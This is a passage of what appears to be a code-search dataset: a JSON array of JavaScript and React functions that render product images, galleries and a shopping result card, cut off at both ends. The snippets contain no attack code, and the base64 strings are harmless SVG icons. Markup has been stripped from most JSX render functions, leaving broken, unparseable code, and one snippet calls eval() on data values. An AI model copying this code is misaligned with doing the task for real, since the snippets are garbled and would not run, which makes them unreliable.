    \n )\n }","function renderGallery(image) {\n let gallery = document.getElementById('gallery');\n if (gallery != null)\n updateGallery(gallery, image);\n else\n createGallery(image);\n }","renderProduct(product) {\n return (
    \n {product.name}\n
    );\n }","function render() {\n\n\t\t\t}","function renderImg() \n{\n leftIndex = randomImage();\n midIndex = randomImage();\n rightIndex = randomImage();\n\n randControl();\n while (leftIndex === rightIndex || leftIndex === midIndex) \n {\n leftIndex = randomImage();\n }\n while(rightIndex === midIndex)\n {\n rightIndex = randomImage();\n }\n randControl();\n usedImg.splice(0, usedImg.length);\n\n leftImg.setAttribute('src', products[leftIndex].productImg);\n midImg.setAttribute('src', products[midIndex].productImg);\n rightImg.setAttribute('src', products[rightIndex].productImg);\n products[leftIndex].views++;\n products[midIndex].views++;\n products[rightIndex].views++;\n\n usedImg.push(leftIndex);\n usedImg.push(midIndex);\n usedImg.push(rightIndex);\n}","render () {\n return (\n
    \n
    \n \n
    \n
    \n this.onSearchSubmit(term)}/>\n \n
    \n
    \n );\n }","function ItemImage(props) {\n return \n}"],"string":"[\n \"function renderProduct() {\\n logger.info('renderProduct start');\\n var imageGroups = currentProduct.getHeroImageGroups();\\n var altImagesInfo = [],\\n imageViews = [];\\n\\n currentProduct.ensureImagesLoaded('altImages').done(function() {\\n var imageGroup,\\n imageGroupImages,\\n image,\\n imageContainer,\\n variationValue,\\n valuePrefix,\\n altContainer,\\n altImages,\\n commonNumber,\\n smallImage,\\n counter = -1,\\n imageGroupsLength = imageGroups ? imageGroups.length : 0;\\n\\n if (imageGroupsLength == 0) {\\n logger.error('product/components/images: heroImage group empty for product id ' + currentProduct.getId());\\n }\\n\\n for (var i = 0, ii = imageGroupsLength; i < ii; i++) {\\n // make the first large image visible\\n imageGroup = imageGroups[i];\\n\\n variationValue = determineImageVariationValue(imageGroup);\\n valuePrefix = variationValue || 'default';\\n\\n // If there a bunch of colors ... then skip the first one\\n if (ii > 1 && !variationValue) {\\n continue;\\n }\\n counter++;\\n imageGroupImages = imageGroup.getImages();\\n image = imageGroupImages[0].getLink();\\n\\n imageContainer = Alloy.createController('product/images/imageContainer');\\n\\n imageContainer.init(valuePrefix, image);\\n imageContainer.number = counter;\\n\\n altContainer = imageContainer.getAltContainer();\\n\\n altImages = currentProduct.getAltImages(valuePrefix);\\n commonNumber = imageGroupImages.length > altImages.length ? altImages.length : imageGroupImages.length;\\n // create the small images to put in the alternate view\\n for (var j = 0; j < commonNumber; j++) {\\n smallImage = Alloy.createController('product/images/alternateImage');\\n smallImagesControllers.push(smallImage);\\n\\n smallImage.init({\\n largeImageView : imageContainer.getLargeImageView(),\\n largeImage : imageGroupImages[j].getLink(),\\n image : altImages[j].getLink(),\\n altImageNumber : j,\\n imageContainerNumber : imageContainer.number\\n });\\n altContainer.add(smallImage.getView());\\n\\n smallImagesViews.push(smallImage.getView());\\n\\n }\\n\\n addVideos({\\n videoURL : 'http://assets.appcelerator.com.s3.amazonaws.com/video/media.m4v',\\n imageContainerNumber : imageContainer.number,\\n altImageNumber : commonNumber,\\n videoPlayer : imageContainer.getVideoPlayer(),\\n altContainer : altContainer\\n\\n });\\n\\n _.each(smallImagesViews, function(view) {\\n view.addEventListener('alt_image_selected', altImageSelectedEventHandler);\\n });\\n\\n imageViews.push(imageContainer.getView());\\n $.pdp_image_scroller[COLOR_CONTAINER_ID_PREFIX + valuePrefix] = imageContainer.getColorContainer();\\n imageContainers[counter] = imageContainer;\\n imageContainer.selectedImage = 0;\\n }\\n $.pdp_image_scroller.setViews(imageViews);\\n });\\n\\n logger.info('renderProduct end');\\n}\",\n \"function renderTheProducts() {\\n leftProduct.renderProduct(leftProductImgElem, leftProductH2Elem);\\n centerProduct.renderProduct(centerProductImgElem, centerProductH2Elem); \\n rightProduct.renderProduct(rightProductImgElem, rightProductH2Elem); \\n}\",\n \"function display() {\\n var content = this.getContent();\\n var root = Freemix.getTemplate(\\\"thumbnail-view-template\\\");\\n\\n content.empty();\\n content.append(root);\\n this._setupViewForm();\\n this._setupLabelEditor();\\n\\n var images = Freemix.property.getPropertiesWithType(\\\"image\\\");\\n\\n var image = content.find(\\\"#image_property\\\");\\n\\n // Set up image property selector\\n this._setupPropertySelect(image, \\\"image\\\", images);\\n this._setupTitlePropertyEditor();\\n this._setupMultiPropertySortEditor();\\n\\n image.change();\\n }\",\n \"render() {\\n\\n if(this.state.isLoaded == true){\\n console.log(\\\"----------- Rendering product in ProductDetails.Render()---------\\\"+ this.state.product.product_Id);\\n console.log(\\\"************ 4.0 started ProductDetails.Render() method gets called ****************\\\");\\n var imgBasUrl = \\\"https://s3.amazonaws.com/instadelibucket/\\\";\\n let productV = this.state.product;\\n var that = this; \\n //let productImages = this.state.product.productImagesSet;\\n var count = 0;\\n return (\\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n {/* This div is responsible for products extra images */} \\n
    \\n
    \\n
    \\n
      \\n
    • \\n
      \\n
      this.displayImage(imgBasUrl + this.state.product.imageUrl)} \\n onMouseOver={() => this.displayImage(imgBasUrl + this.state.product.imageUrl)}>\\n
      \\n
      \\n
    • \\n {this.state.product.productImagesSet.map((productOthImages,index) =>\\n
    • \\n
      \\n
      that.displayImage(imgBasUrl + productOthImages.productImageUrl)} \\n onMouseOver={() => that.displayImage(imgBasUrl + productOthImages.productImageUrl)} >
      \\n
      \\n
    • )}\\n
    \\n
    \\n
    \\n \\n \\n \\n \\n
    \\n
    \\n \\n \\n \\n \\n
    \\n
    \\n
    \\n {/* This div is responsible to show selected product image */}\\n
    \\n
    \\n \\n \\n
    \\n
    \\n
    \\n
    \\n
    \\n \\n \\n \\n
    \\n
    \\n
    \\n
    \\n {/*This div is responsible for product details */}\\n
    \\n
    \\n
    \\n
    \\n

    \\n {this.state.product.name}\\n

    \\n
    \\n

    \\n
    \\n {this.state.product.cost}\\n
    \\n \\n \\n
    \\n
    \\n {/*This div is responsible for product Variants */} \\n \\n {that.state.variantKeys.length > 0 && \\n
    \\n {that.state.product.variantKeys.map((variantKey,index) => \\n \\n (function() {\\n count = count + 1;\\n switch(variantKey) {\\n case 'Color': return ;break;\\n // case 'Size': return ;break;\\n //case 'Material': return ;break;\\n default: return

    {variantKey}

    ;break;\\n }\\n })())\\n \\n }\\n
    \\n \\n \\n }\\n \\n \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n );\\n }else{\\n return null;\\n }\\n \\n \\n }\",\n \"render() {\\n return (\\n
    \\n
    \\n {/*

    {title}

    */}\\n

    Chosen Product:

    \\n {/* */}\\n
    \\n \\n \\n \\n \\n
    \\n
    \\n );\\n }\",\n \"render() {\\n image(this.image, this.x, this.y, this.width, this.height);\\n }\",\n \"render () {\\r\\n\\t\\tconst { description, urls } = this.props.image;\\r\\n\\r\\n\\t\\treturn (\\r\\n\\t\\t\\t
    \\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t
    \\r\\n\\t\\t);\\r\\n\\t}\",\n \"function renderProductPage (productId) {\\n if (!productId) {\\n return false;\\n }\\n\\n return client.entries({\\n content_type: ContentTypes.Product,\\n 'sys.id': productId\\n }).then(function (products) {\\n var product = products[0];\\n if (!product) {\\n return false;\\n }\\n product.allImages = [product.fields.mainImage, product.fields.hoverImage].concat(product.fields.images).filter(Boolean);\\n return Templates.ProductPage(product);\\n });\\n }\",\n \"function render(){\\n leftEl.src = Product.allProducts[randomLeft].filepath; //current\\n leftEl.alt = Product.allProducts[randomLeft].name;\\n\\n centerEl.src = Product.allProducts[randomCenter].filepath;\\n centerEl.alt = Product.allProducts[randomCenter].name;\\n\\n rightEl.src = Product.allProducts[randomRight].filepath;\\n rightEl.alt = Product.allProducts[randomRight].name;\\n\\n //increment the number of times each image was shown\\n Product.allProducts[randomLeft].timesDisplayed += 1;\\n Product.allProducts[randomCenter].timesDisplayed += 1;\\n Product.allProducts[randomRight].timesDisplayed += 1;\\n\\n //keep track of these as the previously displayed products\\n Product.lastDisplayed[0] = randomLeft;\\n Product.lastDisplayed[1] = randomCenter;\\n Product.lastDisplayed[2] = randomRight;\\n}\",\n \"function renderProducts(productsArray) {\\n\\tproductsArray.forEach((product) => {\\n\\n\\t\\tconst newProduct = document.createElement(\\\"div\\\");\\n\\t\\tnewProduct.classList.add(\\\"productsContainer\\\");\\n\\t\\t\\n\\t\\tconst link = getProductLink(product);\\n\\n\\t\\tconst img = getProductImg(product);\\n\\n\\t\\tconst description = getProductDescription(product);\\n\\n\\t\\tlink.appendChild(img);\\n\\t\\tlink.appendChild(description);\\n newProduct.appendChild(link);\\n\\t\\t\\n\\t\\t\\n\\t document.getElementById('productsMainContainer').appendChild(newProduct);\\n\\t});\\n}\",\n \"function renderProduct(product) {\\n var images = document.getElementById('images');\\n var imgEl = document.createElement('img');\\n\\n var att = document.createAttribute('id');\\n att.value = product.name;\\n imgEl.setAttributeNode(att); // W3Schools\\n\\n imgEl.src = product.filepath;\\n images.appendChild(imgEl);\\n\\n imgEl.addEventListener('click', clickEvent);\\n}\",\n \"render() {\\n if (!this.props.product) {\\n return
    Select a product to view profile.
    ;\\n }\\n\\n return (\\n
    \\n\\n
    Product details
    \\n {/* Field name */}\\n \\n \\n \\n \\n \\n {this.props.product.name}\\n \\n \\n\\n {/* Field color */}\\n \\n \\n :\\n \\n \\n {this.props.product.color}\\n \\n \\n \\n {/* Field price */}\\n \\n \\n :\\n \\n \\n {this.props.product.price}\\n \\n \\n\\n {/* Field category */}\\n \\n \\n :\\n \\n \\n {this.props.product.category}\\n \\n \\n\\n {/* Field Image field */}\\n \\n \\n :\\n \\n \\n
    \\n \\n
    \\n
    \\n
    \\n {/* Field description */}\\n \\n \\n :\\n \\n \\n

    {this.props.product.description}

    \\n
    \\n
    \\n\\n
    \\n );\\n }\",\n \"function Products(props) {\\n return (\\n
    \\n
    \\n
    \\n
    \\n
    { props.brand }
    \\n
    \\n
    {props.category}: { props.productName }
    \\n
    Ingredients: \\n {props.ingredients}\\n
    \\n
    {props.description}
    \\n
    \\n
    \\n
    \\n placeholder\\n
    \\n
    \\n
    \\n
    \\n );\\n}\",\n \"function ProductManagementImage(_ref) {\\n var size = _ref.size;\\n\\n var widths = {\\n 1: 300,\\n 2: 200,\\n 3: 150\\n };\\n return _react2.default.createElement(_Image2.default, { src: _catalogue_image2.default, width: '100%' });\\n}\",\n \"function Product(props) {\\n return (\\n
    \\n
      \\n
    • \\n \\n

      {props.product.name}

      \\n

      Price: {props.product.price}

      \\n

      Product description: {props.product.productDescription}

      \\n
    • \\n
    \\n
    \\n )\\n}\",\n \"render() {\\n\\t\\treturn (\\n\\t\\t\\t\\n\\t\\t);\\n\\t}\",\n \"function renderProducts(productName, productId, productImg, productPrice) {\\r\\n const products = document.getElementById('cameras');\\r\\n const article = document.createElement('article'); // Récupère la div qui contiendra les différents articles\\r\\n article.classList.add('product-general');\\r\\n article.innerHTML = `\\r\\n \\\"${productName}\\\"\\r\\n

    ${productName}

    \\r\\n

    ${productPrice / 100}€

    \\r\\n Développez-moi
    \\r\\n `;\\r\\n\\r\\n products.append(article);\\r\\n}\",\n \"render() {\\n\\t\\tconst product = this.props.product;\\n\\n\\t\\treturn (\\n\\t\\t\\t
    \\n\\t\\t\\t\\t\\n\\t\\t\\t\\t{ this.state.clicked ? __( 'Added' ) : product.name }\\n\\t\\t\\t\\t\\n\\t\\t\\t
    \\n\\t\\t);\\n\\t}\",\n \"render(listProducts) {\\n for (const product of listProducts) {\\n const divProduct = document.createElement('div');\\n divProduct.classList.add('product');\\n divProduct.setAttribute('id', product.id);\\n\\n const image = document.createElement('img');\\n image.classList.add('product-image');\\n image.src = product.image;\\n image.setAttribute('alt', product.name);\\n divProduct.append(image);\\n\\n const title = document.createElement('span');\\n title.classList.add('product-title');\\n title.innerText = product.name;\\n divProduct.append(title);\\n\\n const price = document.createElement('span');\\n price.classList.add('product-price');\\n price.innerText = `$ ${product.price}`;\\n divProduct.append(price);\\n\\n this.containerProducts.append(divProduct);\\n }\\n }\",\n \"function ibpsRenderProduct(index) {\\n\\t// Check to make our index is within actual data range\\n\\tif ((index < 0) || (index > (_ibpsProductCount - 1))) {\\n\\t\\talert (\\\"Invalid product index: ibpsRenderProduct(\\\" + index + \\\")\\\");\\n\\t}\\n\\t\\n\\t// Get the values needed to display\\n\\tvar productImage = _ibpsData[index].image1;\\n\\tvar productName = _ibpsData[index].name;\\n\\tvar productURL = _ibpsData[index].product_url;\\n\\tvar companyName = _ibpsData[index].company_name;\\n\\t\\n\\t// Erase current product\\n\\t$('div.ibps-product').empty();\\n\\t\\n\\t// Convert data to HTML and display it in the product div\\n\\t$('div.ibps-product').append(\\n\\t\\t' ' +\\n\\t\\t' ' +\\n\\t\\t' ' +\\n\\t\\t' ' + productName + '
    ' + \\n\\t\\t' ' + companyName + ''\\n\\t);\\n}\",\n \"render() {\\n\\t\\tconst product = this.props.product;\\n\\t\\t//let icon = this.props.selected ? : null;\\n//\\t{ icon }\\n\\t\\treturn (\\n\\t\\t\\t
    \\n\\t\\t\\t\\t\\n\\t\\t\\t\\t{ product.name }\\n\\t\\t\\t
    \\n\\t\\t);\\n\\t}\",\n \"function Home() {\\n return (\\n
    \\n {/**Image */}\\n \\\"Cover\\n {/**Products */}\\n
    \\n \\n \\n
    \\n
    \\n\\n )\\n}\",\n \"render() {\\n return (\\n
    \\n \\n \\n
    {this.props.price}
    \\n \\n
    \\n )\\n }\",\n \"render () {\\n ctx.drawImage(Resources.get(this.image), this.x, this.y);\\n }\",\n \"function Product(props){\\r\\n\\r\\n return (\\r\\n
    \\r\\n
    \\r\\n \\t
    \\r\\n \\t\\t\\\"\\\"\\r\\n \\t\\t
    \\r\\n \\t\\t\\t

    \\r\\n\\t\\t\\t\\t{props.children}\\r\\n\\r\\n \\t\\t\\t

    \\r\\n \\t\\t\\t

    \\r\\n \\t\\t\\t\\t{props.price} VNĐ\\r\\n \\t\\t\\t

    \\r\\n \\t\\t\\t

    \\r\\n \\t\\t\\t\\tAction\\r\\n \\t\\t\\t\\tAction\\r\\n \\t\\t\\t

    \\r\\n \\t\\t
    \\r\\n \\t
    \\r\\n
    \\r\\n
    \\r\\n );\\r\\n}\",\n \"render() {\\n return (\\n
    \\n
    \\n
    \\n \\\"Placeholder\\n
    \\n
    \\n
    \\n

    {this.props.product.name}

    \\n\\n
    \\n {this.props.product.short_description}\\n

    \\n
    \\n \\n More Details\\n \\n
    \\n
    \\n )\\n }\",\n \"render() {\\n let { url, selectColor, selected, mouseEnter, mouseOut } = this.props;\\n return (\\n \\n
    \\n {/*

    {addCross ? \\\"Cross\\\" : null }

    */}\\n {/* \\\"glases\\\" */}\\n \\\"glasses\\\"\\n\\n
    \\n
    \\n\\n\\n );\\n }\",\n \"display() {\\n push();\\n // Centering image for easier image placement\\n imageMode(CENTER);\\n image(this.image, this.x, this.y, 1500, 300);\\n pop();\\n }\",\n \"function displayImage() {\\n let image = document.createElement('img');\\n image.setAttribute(\\\"src\\\", product.imageUrl);\\n image.setAttribute(\\\"alt\\\", product.name);\\n image.classList.add(\\\"img-thumbnail\\\",\\\"border-dark\\\");\\n imageContainer.appendChild(image);\\n}\",\n \"render() {\\n return(\\n
    \\n
    \\n
    \\n

    All Products

    \\n
    \\n
    \\n
    \\n
    \\n
      \\n { this.renderProducts() }\\n
    \\n
    \\n
    \\n \\n
    \\n \\n
    \\n
    \\n
    \\n );\\n }\",\n \"render() {\\n ctx.drawImage(Resources.get(this.image), this.x, this.y);\\n }\",\n \"function renderImages() {\\n //if ( viewSkins ) { renderSkins(); } // disabled here so plants can be rendered sequentially in plants.js\\n if ( viewSpans ) { renderSpans(); }\\n if ( viewPoints ) { renderPoints(); }\\n if ( viewScaffolding ) { renderScaffolding(); }\\n}\",\n \"function buildMyProduct(myProduct) {\\n var html = \\\"\\\";\\n html += \\\"
    \\\";\\n html += \\\"

    \\\" + myProduct.title + \\\"

    \\\";\\n html += \\\"
    \\\";\\n html += \\\"
    \\\" + myProduct.price +\\\"
    \\\"+ myProduct.model +\\\"
    \\\"+ \\\"
    \\\"+\\\"
    \\\"+myProduct.description + \\\"
    \\\";\\n html += \\\"
    \\\";\\n html += \\\"
    \\\";\\n $.each(myProduct.ProductImage, function (element, obj) {\\n html += \\\"\\\";\\n });\\n html += \\\"
    \\\";\\n\\n\\n\\n $(\\\"#MyDynamicProductDetail\\\").append(html);\\n}\",\n \"function logoLayout() {\\n layout('logo');\\n next();\\n}\",\n \"render() {\\n const productData = this.props.productData;\\n // const productInfo = productData['prod_serial'];\\n const imageData = productData['image_data'];\\n const prod_hash = imageData.prod_id;\\n const key = prod_hash + Math.floor(Math.random() * 1000);\\n const shop = imageData.shop;\\n const brand = imageData.brand;\\n const img_url = imageData.img_url;\\n const name = imageData.name;\\n const prod_url = imageData.prod_url;\\n const currency = '£';\\n const price = imageData.price.toFixed(2);\\n const sale = imageData.sale;\\n const saleprice = imageData.saleprice;\\n const fst_img_hash = imageData.img_hash;\\n const fst_img_color = imageData.color_1;\\n\\n const ImageCarousel = () => {\\n return (\\n \\n (\\n \\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'open outfit',\\n label: prod_hash\\n });\\n history.push(`/outfit-page?id=${prod_hash}&sex=${imageData.sex}`)\\n }}\\n />\\n
    \\n )}/>\\n
    \\n )\\n };\\n\\n const ColorPicker = () => {\\n let image = imageData;\\n let color_1 = image['color_1'];\\n let color_2 = image['color_2'];\\n let color_3 = image['color_3'];\\n let color_1_hex = image['color_1_hex'];\\n let color_2_hex = image['color_2_hex'];\\n let color_3_hex = image['color_3_hex'];\\n let img_hash = image['img_hash'];\\n\\n // Dynamic CSS for image color choice modal\\n if(color_1_hex.length > 0){\\n var colorStyle1 = {\\n width: '42px',\\n height: '42px',\\n borderRadius: '21px',\\n backgroundColor: color_1_hex,\\n margin: '2px',\\n marginRight: '0px',\\n display: 'inline-block',\\n cursor: 'pointer'\\n };\\n var colorStyle2 = {\\n width: '42px',\\n height: '42px',\\n borderRadius: '21px',\\n backgroundColor: color_2_hex,\\n margin: '2px',\\n marginRight: '0px',\\n display: 'inline-block',\\n cursor: 'pointer'\\n };\\n var colorStyle3 = {\\n width: '42px',\\n height: '42px',\\n borderRadius: '21px',\\n backgroundColor: color_3_hex,\\n margin: '2px',\\n marginRight: '0px',\\n display: 'inline-block',\\n cursor: 'pointer'\\n };\\n }\\n let rgbSum = eval(image['color_1'].join('+'));\\n var pickerBgUrl;\\n\\n if (rgbSum > 400) {\\n pickerBgUrl = 'url(\\\"data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9JzIwMCcgd2lkdGg9JzIwMCcgIGZpbGw9IiMw'\\n + 'MDAwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3Jn'\\n + 'LzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAxMDAgMTAwIiBzdHlsZT0i'\\n + 'ZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCAxMDAgMTAwOyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHBhdGggZD0iTTk0Ljks'\\n + 'MTcuNmMtMC44LTUuNy00LTguNi02LjYtMTAuNWMtMi45LTIuMS02LjYtMi42LTkuOS0xLjNjLTMuNSwxLjMtNiwzLjktOC42L'\\n + 'DYuNWMtMywzLjItNi4yLDYuMi05LjMsOS4zICBjLTMuMS0yLTQuOC0xLjgtNy4zLDAuNmMtMS41LDEuNS0zLDIuOS00LjQsN'\\n + 'C40Yy0xLjUsMS42LTEuNyw0LjItMC4yLDUuOGMwLjcsMC44LDEuNywxLjMsMi43LDJjLTEuMSwwLjktMS42LDEuMy0yLDEuN'\\n + 'yAgQzM4LDQ3LjQsMjYuNiw1OC44LDE1LjIsNzAuMWMtMi42LDIuNi00LjcsNS40LTUuNyw5LjFjLTAuNSwyLTEuNywzLjktM'\\n + 'i44LDUuNmMtMC4yLDAuMy0wLjQsMC41LTAuNiwwLjhjLTEuNywyLjMtMS42LDUuNCwwLjQsNy40ICBjMC4xLDAuMSwwLjIsM'\\n + 'C4yLDAuMiwwLjJjMiwyLDUsMi4xLDcuMywwLjVjMCwwLDAsMCwwLjEsMGMxLjctMS4yLDMuMy0yLjgsNS4yLTMuMWM0LjItM'\\n + 'C45LDcuNS0zLDEwLjQtNkM0MS4zLDczLjQsNTIuNiw2Miw2NCw1MC43ICBjMC41LTAuNSwxLTAuOSwxLjgtMS43YzAuNSwwL'\\n + 'jcsMC44LDEuMywxLjMsMS44YzIuMiwyLjMsNC42LDIuMiw2LjksMGMxLjItMS4yLDIuNC0yLjQsMy42LTMuNmMyLjktMi45L'\\n + 'DMuNy00LjMsMS4xLTcuOCAgYzIuNC0yLjQsNC44LTQuNyw3LjItNy4xYzMuMy0zLjQsNy4yLTYuMyw4LjctMTEuMUM5NSwyM'\\n + 'Cw5NS4xLDE4LjgsOTQuOSwxNy42eiBNNjEuNiw0Ny4yQzQ5LjksNTguOSwzOC4yLDcwLjYsMjYuNSw4Mi4yICBjLTIuMiwyL'\\n + 'jItNC43LDMuNi03LjcsNC40Yy0yLjMsMC42LTQuMywyLjItNi40LDMuM2MtMC4yLDAuMS0wLjQsMC4zLTAuNiwwLjRjLTAuN'\\n + 'iwwLjUtMS41LDAuNC0yLTAuMWMwLDAsMCwwLDAsMCAgYy0wLjUtMC42LTAuNi0xLjQtMC4xLTJjMC43LTAuOSwxLjQtMS44L'\\n + 'DItMi43YzAuOC0xLjMsMS41LTIuOCwxLjgtNC4zYzAuNi0yLjksMS45LTUuMywzLjktNy4zYzEyLjEtMTIuMSwyNC4yLTI0L'\\n + 'jIsMzYuMS0zNi4xICBjMi45LDIuOCw1LjcsNS43LDguNyw4LjdDNjIuMiw0Ni41LDYxLjksNDYuOSw2MS42LDQ3LjJ6Ij48L'\\n + '3BhdGg+PC9zdmc+\\\")';\\n } else {\\n pickerBgUrl = 'url(\\\"data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9JzIwMCcgd2lkdGg9JzIwMCcgIGZpbGw9IiNmZ'\\n + 'mZmZmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnL'\\n + 'zE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAxMDAgMTAwIiBzdHlsZT0iZ'\\n + 'W5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCAxMDAgMTAwOyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHBhdGggZD0iTTk0LjksM'\\n + 'TcuNmMtMC44LTUuNy00LTguNi02LjYtMTAuNWMtMi45LTIuMS02LjYtMi42LTkuOS0xLjNjLTMuNSwxLjMtNiwzLjktOC42L'\\n + 'DYuNWMtMywzLjItNi4yLDYuMi05LjMsOS4zICBjLTMuMS0yLTQuOC0xLjgtNy4zLDAuNmMtMS41LDEuNS0zLDIuOS00LjQsN'\\n + 'C40Yy0xLjUsMS42LTEuNyw0LjItMC4yLDUuOGMwLjcsMC44LDEuNywxLjMsMi43LDJjLTEuMSwwLjktMS42LDEuMy0yLDEuN'\\n + 'yAgQzM4LDQ3LjQsMjYuNiw1OC44LDE1LjIsNzAuMWMtMi42LDIuNi00LjcsNS40LTUuNyw5LjFjLTAuNSwyLTEuNywzLjktM'\\n + 'i44LDUuNmMtMC4yLDAuMy0wLjQsMC41LTAuNiwwLjhjLTEuNywyLjMtMS42LDUuNCwwLjQsNy40ICBjMC4xLDAuMSwwLjIsM'\\n + 'C4yLDAuMiwwLjJjMiwyLDUsMi4xLDcuMywwLjVjMCwwLDAsMCwwLjEsMGMxLjctMS4yLDMuMy0yLjgsNS4yLTMuMWM0LjItM'\\n + 'C45LDcuNS0zLDEwLjQtNkM0MS4zLDczLjQsNTIuNiw2Miw2NCw1MC43ICBjMC41LTAuNSwxLTAuOSwxLjgtMS43YzAuNSwwL'\\n + 'jcsMC44LDEuMywxLjMsMS44YzIuMiwyLjMsNC42LDIuMiw2LjksMGMxLjItMS4yLDIuNC0yLjQsMy42LTMuNmMyLjktMi45L'\\n + 'DMuNy00LjMsMS4xLTcuOCAgYzIuNC0yLjQsNC44LTQuNyw3LjItNy4xYzMuMy0zLjQsNy4yLTYuMyw4LjctMTEuMUM5NSwyM'\\n + 'Cw5NS4xLDE4LjgsOTQuOSwxNy42eiBNNjEuNiw0Ny4yQzQ5LjksNTguOSwzOC4yLDcwLjYsMjYuNSw4Mi4yICBjLTIuMiwyL'\\n + 'jItNC43LDMuNi03LjcsNC40Yy0yLjMsMC42LTQuMywyLjItNi40LDMuM2MtMC4yLDAuMS0wLjQsMC4zLTAuNiwwLjRjLTAuN'\\n + 'iwwLjUtMS41LDAuNC0yLTAuMWMwLDAsMCwwLDAsMCAgYy0wLjUtMC42LTAuNi0xLjQtMC4xLTJjMC43LTAuOSwxLjQtMS44L'\\n + 'DItMi43YzAuOC0xLjMsMS41LTIuOCwxLjgtNC4zYzAuNi0yLjksMS45LTUuMywzLjktNy4zYzEyLjEtMTIuMSwyNC4yLTI0L'\\n + 'jIsMzYuMS0zNi4xICBjMi45LDIuOCw1LjcsNS43LDguNyw4LjdDNjIuMiw0Ni41LDYxLjksNDYuOSw2MS42LDQ3LjJ6Ij48L'\\n + '3BhdGg+PC9zdmc+\\\")';\\n }\\n\\n let pickerStyle = {\\n width: '46px',\\n height: '46px',\\n backgroundColor: color_1_hex,\\n backgroundImage: pickerBgUrl,\\n backgroundRepeat: 'no-repeat',\\n backgroundPosition: 'center',\\n backgroundSize: '28px 28px',\\n borderRadius: '23px',\\n position: 'absolute',\\n right: '113px',\\n cursor: 'pointer'\\n };\\n\\n var pickerDrawerHeight;\\n\\n if (this.state.pickerExpanded === img_hash){\\n pickerDrawerHeight = '190px';\\n } else {\\n pickerDrawerHeight = '44px';\\n }\\n\\n let pickerDrawerStyle = {\\n width: '46px',\\n transition: 'width 300ms ease-in-out',\\n height: pickerDrawerHeight,\\n borderRadius: '23px',\\n backgroundColor: '#FFFFFF',\\n bottom: '5px',\\n right: '113px',\\n position: 'absolute',\\n textAlign: 'left',\\n overflow: 'hidden'\\n };\\n\\n return (\\n
    \\n
    \\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'search similar color',\\n label: `img_hash: ${img_hash}, color: ${color_1}`\\n });\\n this.setColorPosTags({'color_rgb': color_1, 'cat':''});\\n this.searchSimilarImages(img_hash, color_1);\\n }} />\\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'search similar color',\\n label: `img_hash: ${img_hash}, color: ${color_2}`\\n });\\n this.setColorPosTags({'color_rgb': color_2, 'cat':''});\\n this.searchSimilarImages(img_hash, color_2);\\n }} />\\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'search similar color',\\n label: `img_hash: ${img_hash}, color: ${color_3}`\\n });\\n this.setColorPosTags({'color_rgb': color_3, 'cat':''});\\n this.searchSimilarImages(img_hash, color_3);\\n }} />\\n
    \\n \\n {this.expandDrawer(img_hash, this.state.pickerExpanded);}}\\n />\\n \\n
    \\n )\\n };\\n\\n const ExploreOptions = () => {\\n let exploreOptsStyle = {\\n position: this.state.device === 'desktop' ? 'absolute' : 'fixed',\\n height: '55px',\\n width: '215px',\\n zIndex: '10',\\n backgroundColor: this.state.device === 'mobile' ? '#FFFFFF' : 'rgba(255,255,255,0.7)',\\n paddingTop: '5px'\\n };\\n if (this.state.device === 'desktop') {\\n exploreOptsStyle['bottom'] = '0';\\n exploreOptsStyle['right'] = '0';\\n exploreOptsStyle['borderRadius'] = '27px 0px 0px 0px';\\n } else {\\n const bottom = document.getElementById(prod_hash).getBoundingClientRect().bottom;\\n exploreOptsStyle['top'] = `${bottom - 35}px`;\\n exploreOptsStyle['left'] = 'calc((100vw - 215px) / 2)';\\n exploreOptsStyle['boxShadow'] = '0px 0px 5px 0 rgba(0, 0, 0, 0.6)';\\n exploreOptsStyle['borderRadius'] = '27px';\\n }\\n\\n return (\\n \\n\\n \\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'search similar',\\n label: fst_img_hash\\n });\\n this.setColorPosTags({'color_rgb': fst_img_color, 'cat':''});\\n this.searchSimilarImages(fst_img_hash, fst_img_color);\\n }}\\n />\\n \\n \\n \\n \\n {/**/}\\n {(this.state.isAuth === \\\"true\\\") ? (\\n \\n
    {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'add outfit',\\n label: fst_img_hash\\n });\\n this.props.showLookList(fst_img_hash);\\n }} />\\n \\n ) : (\\n (\\n \\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'add outfit',\\n label: fst_img_hash\\n });\\n history.push(`/register-from-result?id=${fst_img_hash}`);\\n }}\\n />\\n \\n )}/>\\n )}\\n \\n
    {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'buy now',\\n label: prod_url\\n });\\n this.buyNow(prod_url);\\n }}/>\\n \\n
    \\n )\\n };\\n\\n const CardTagList = () => {\\n const prodTagList = imageData['all_cats'].filter(this.getUniqueArr).map(cat => {\\n return (\\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'set tag',\\n label: cat\\n });\\n this.props.setPosNegButtonTag(cat);\\n }}\\n >\\n {cat}\\n
